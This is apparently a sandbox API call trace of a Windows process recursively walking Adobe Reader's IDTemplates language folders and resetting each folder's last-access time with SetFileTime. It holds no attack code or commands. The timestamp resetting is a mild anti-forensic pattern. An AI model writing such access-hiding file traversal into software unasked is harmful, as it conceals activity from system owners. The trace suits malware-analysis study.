RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201a38 [0081.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1263770 [0081.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.360] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10f09, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201a58 [0081.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1263878 [0081.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.361] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10f09, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.361] GetLastError () returned 0x12 [0081.361] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\PTB\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.361] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.362] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.362] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11426, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.362] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10f09, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.362] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10f09, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.362] GetLastError () returned 0x12 [0081.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.362] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.362] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUM", cAlternateFileName="")) returned 1 [0081.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.362] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.363] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0081.364] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258f10 [0081.364] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258f10, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258f10, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258f10) returned 1 [0081.364] NtClose (Handle=0x168) returned 0x0 [0081.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.365] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.365] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.365] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.365] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.365] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.365] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5891, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.365] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201a78 [0081.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1263980 [0081.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.367] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5be8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.368] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5be8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.368] GetLastError () returned 0x12 [0081.368] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.368] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.368] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.368] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5891, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.368] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5be8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.368] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5be8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.368] GetLastError () returned 0x12 [0081.368] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.368] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RUS", cAlternateFileName="")) returned 1 [0081.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.368] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.368] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rus"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0081.369] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0081.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1258f10 [0081.369] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1258f10, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1258f10, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0081.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1258f10) returned 1 [0081.369] NtClose (Handle=0x178) returned 0x0 [0081.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0081.370] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261358 [0081.370] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0081.370] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.370] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e071, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.370] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1261250 [0081.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201ab8 [0081.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1263b90 [0081.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.371] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d17f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.371] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.372] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.372] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201ad8 [0081.372] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1263c98 [0081.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c738) returned 1 [0081.373] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d17f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.373] GetLastError () returned 0x12 [0081.373] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUS\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.373] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0081.373] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.373] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e071, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0081.373] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d17f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 1 [0081.373] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d17f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="")) returned 0 [0081.373] GetLastError () returned 0x12 [0081.373] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261358) returned 1 [0081.373] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1261250) returned 1 [0081.374] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0081.374] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a04a60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a04a60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a04a60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0081.374] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c738 [0081.374] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sky"), 